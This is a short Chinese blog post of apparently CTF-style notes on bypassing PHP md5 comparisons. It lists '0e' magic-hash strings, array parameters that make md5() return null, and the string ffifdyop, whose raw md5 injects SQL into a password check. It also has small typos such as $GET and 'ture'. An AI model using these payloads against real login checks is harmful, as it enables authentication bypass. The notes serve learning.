MD5繞過
阿新 • • 發佈:2021-11-13
1.php == 弱型別繞過
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))
{
echo flag;
}
兩種方法:1.使用加密後‘oe’開頭的字串來繞過,應為以0e開頭的字串的值都為0。
例如
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
2.使用陣列進行繞過,應為MD5不能加密陣列,會報錯,返回null,但是null=null返回的值為true
例如: a[]=1&b[]=2
2.php === 強型別繞過
$a = $GET['a'];
$b = $_GET['b'];
if($a !== $b && md5($a) === md5($b))
{
echo flag;
}
===會比較型別和值,所以不能用第一種方法來繞過,可以使用第二種方法,原理是相同的
3.sql注入類的MD5繞過
ffifdyop經過MD5加密後變為'or'6xxx
sql程式碼:select * from flag where user='amdin' and password='or' '6xxx' 等於 password=''or true == ture
從而實現了繞過
4.MD5碰撞(等待後續更新)